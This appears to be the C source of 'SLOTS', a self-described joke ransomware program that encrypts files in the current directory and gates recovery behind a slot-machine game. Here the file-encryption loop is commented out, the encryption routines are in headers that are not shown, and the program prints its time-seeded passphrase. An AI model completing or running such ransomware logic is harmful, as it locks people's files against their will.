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/***
* SLOTS - Feelin' Lucky?
*
* SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
* This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
* also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
*
*
*/
#define _GNU_SOURCE
#include "encryption.h"
#include "search.h"
#include "ll.h"
#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>
#include <stdio.h>
#define PHRASESIZE 32
const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";
static char doc[] = "lol";
static char argdoc[] = "lmao";
static struct argp_option options[] = {
{.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
{"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0},
{0}
};
struct arguments {
char *inputpass;
int skipslots;
};
static error_t parse_opt(int key, char *arg, struct argp_state *state) {
struct arguments *args = state->input;
switch(key) {
case 'p':
args->inputpass = arg;
break;
case 'd':
args->skipslots = 1;
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};
// Stolen from stackoverflow. Thanks Laurence (https://stackoverflow.com/a/822361)
int randint(int n) {
if ((n - 1) == RAND_MAX) {
return random();
} else {
// Supporting larger values for n would requires an even more
// elaborate implementation that combines multiple calls to rand()
assert (n <= RAND_MAX);
// Chop off all of the values that would cause skew...
int end = RAND_MAX / n; // truncate skew
assert (end > 0);
end *= n;
// ... and ignore results from rand() that fall above that limit.
// (Worst case the loop condition should succeed 50% of the time,
// so we can expect to bail out of this loop pretty quickly.)
int r;
while ((r = random()) >= end);
return r % n;
}
}
char* genphrase(size_t phrasesize) {
char *phrase = calloc(phrasesize, sizeof(char));
if(phrase == NULL) {
error(0, errno, "Couldn't allocate space for generating random phrase");
return NULL;
}
for(size_t i = 0; i < phrasesize; i++) {
phrase[i] = randint(25 + 1) + 65;
if(random() > RAND_MAX / 2)
phrase[i] += 32;
}
return phrase;
}
int main(int argc, char *argv[]) {
struct arguments args;
args.inputpass = NULL;
args.skipslots = 0;
argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);
if(args.inputpass != NULL) {
if(strlen(args.inputpass) != PHRASESIZE) {
error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
}
printf("Using input passphrase \"%s\"\n", args.inputpass);
} else {
// Fuck you
srandom((unsigned int)time(NULL));
char phrase[PHRASESIZE];
for(size_t i = 0; i < sizeof(phrase); i++) {
phrase[i] = randint(25 + 1) + 65;
if(random() > (RAND_MAX / 2))
phrase[i] += 32;
}
printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase);
if(args.skipslots == 0) {
printf("Hit Enter to contine, or CTRL+C to cancel...");
getchar();
}
}
/* Get files
struct nodelist *files = scanfiles("./", alphasort);
// Encrypt those files
for(struct nodelist *p = files; p != NULL; p = p->next) {
int fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
continue;
}
passencblock(fd, phrase);
close(fd);
}
nodelist_delete(files);
//*/
return 0;
}
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